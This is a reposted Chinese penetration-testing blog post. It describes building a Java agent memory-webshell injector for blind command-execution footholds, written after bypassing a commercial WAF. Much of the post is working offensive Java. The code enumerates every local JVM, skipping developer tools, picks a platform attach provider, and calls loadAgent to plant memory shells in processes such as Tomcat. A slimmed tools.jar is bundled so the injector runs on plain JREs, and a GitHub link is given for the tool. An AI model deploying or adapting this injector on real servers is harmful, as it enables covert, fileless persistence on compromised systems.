文章总结: 作者在无回显命令执行场景下,结合vagent和memshellparty两种agent内存马的优势,开发出支持跨平台和JRE环境的注入工具。通过精简整合tools.jar解决兼容性问题,实现了对Tomcat、Godzilla等Java进程的内存马注入,项目已在GitHub开源。 综合评分: 85 文章分类: 渗透测试,内网渗透,WEB安全,安全工具,应急响应
你会常用这个内存马的。
原创
ptr ptr
UpRoot
2026年4月8日 16:34 四川
起
最近做项目在bypass商业版雷池后,留下了无回显命令执行的场景。
这只是一个普通的渗透项目,本来收到dns请求后,我就该停止测试的,但是我又多想了一步,如果是攻防场景,这个点如何打下来,如何实现注入内存马呢?
如果免杀足够强劲,可以实现直接上线C2,很显然,我目前得不到这样的支持。
那只能另辟蹊径,借助Agent内存马来实现。目前我认知里面有两份agent内存马比较好的,一个是vagent、一个是memshellparty里面的agent。
对于前者,不够优雅,年代久远,jre环境下不存在tools.jar没法使用,好在可以实现盲打所有java进程。
对于后者,目前暂不支持在无回显的场景下来使用,好在体积小,兼容jre环境。
于是一个想法在我心里冉冉升起——将二者结合起来,实现JDK全版本命令执行无回显的场景下打入内存马。
承
在拜读二者的源码后,我写出了如下代码,初步实现拿到所有java进程。
Iterator var1 = getProvider().listVirtualMachines().iterator();
while(var1.hasNext()) {
VirtualMachineDescriptor vm = (VirtualMachineDescriptor)var1.next();
try {
if (!vm.displayName().contains("jetbrains") && !vm.displayName().contains("burpsuite") && !vm.displayName().contains("jdk") && vm.displayName() != null) {
attach(vm.id());
}
} catch (Exception var4) {
System.out.println("error");
}
}
为了解决跨平台问题,我通过如下代码实现拿到不同操作系统的AttachProvider。
public static AttachProvider getProvider() {
List<AttachProvider> providers = AttachProvider.providers();
if (providers != null && !providers.isEmpty()) {
return (AttachProvider)providers.get(0);
} else {
String os = System.getProperty("os.name").toLowerCase();
try {
String providerClassName;
if (os.contains("win")) {
providerClassName = "sun.tools.attach.WindowsAttachProvider";
} else if (os.contains("linux")) {
providerClassName = "sun.tools.attach.LinuxAttachProvider";
} else if (os.contains("mac")) {
providerClassName = "sun.tools.attach.BsdAttachProvider";
} else {
providerClassName = "sun.tools.attach.SolarisAttachProvider";
}
return (AttachProvider)Class.forName(providerClassName).newInstance();
} catch (Throwable var3) {
Throwable t = var3;
throw new RuntimeException("无法为当前系统创建 AttachProvider: " + os, t);
}
}
}
并且我替换了原有代码中的复杂反射,将其修改为:
// 修改后的代码:直接利用我们的 Provider 获取目标并注入
String var5 = var2.resolve().getAbsolutePath();
try {
// 绕过原生 attach() 的系统限制,直接用当前操作系统的 Provider 连接
com.sun.tools.attach.VirtualMachine vm = getProvider().attachVirtualMachine(var0);
try {
// 直接执行注入
vm.loadAgent(var5, var1);
} finally {
vm.detach();
}
} catch (Exception e) {
throw new IllegalStateException("Agent 注入失败", e);
}
为了解决JRE环境下tools.jar不存在,无法提供VirtualMachine的问题,我在原有内存马的基础上,融入了从JMG中拿到的精简版的tools.jar,使二开后的马子的体积只相对之前大了0.15mb。
root@VM-0-4-debian:~/vulhome# java -jar command2.jar
Exception in thread "main" java.lang.NoClassDefFoundError: com/sun/tools/attach/VirtualMachine
at com.fasterxml.jackson.wamur.Attacher.main(Attacher.java:37)
Caused by: java.lang.ClassNotFoundException: com.sun.tools.attach.VirtualMachine
at java.net.URLClassLoader.findClass(URLClassLoader.java:382)
at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
... 1 more
root@VM-0-4-debian:~/vulhome# java -version
java version "1.8.0_201"
Java(TM) SE Runtime Environment (build 1.8.0_201-b09)
Java HotSpot(TM) 64-Bit Server VM (build 25.201-b09, mixed mode)
root@VM-0-4-debian:~/vulhome#
经过几处微小的修改,实现了对memshellparty的agent内存马的二开,使其在无回显命令执行的场景下可以方便的对所有java进程打入内存马。
效果如下:
TomcatEcho
Godzilla
合
项目地址:https://github.com/FightingLzn9/AgentMemshell
沿途所有的山水都已是昨日的嶙峋。
祝我们在迅疾而逝的时间里循环往复地启行,哪怕生命里拥有无数个垂头丧气的瞬息。
- END –
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:UpRoot ptr ptr《你会常用这个内存马的。》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论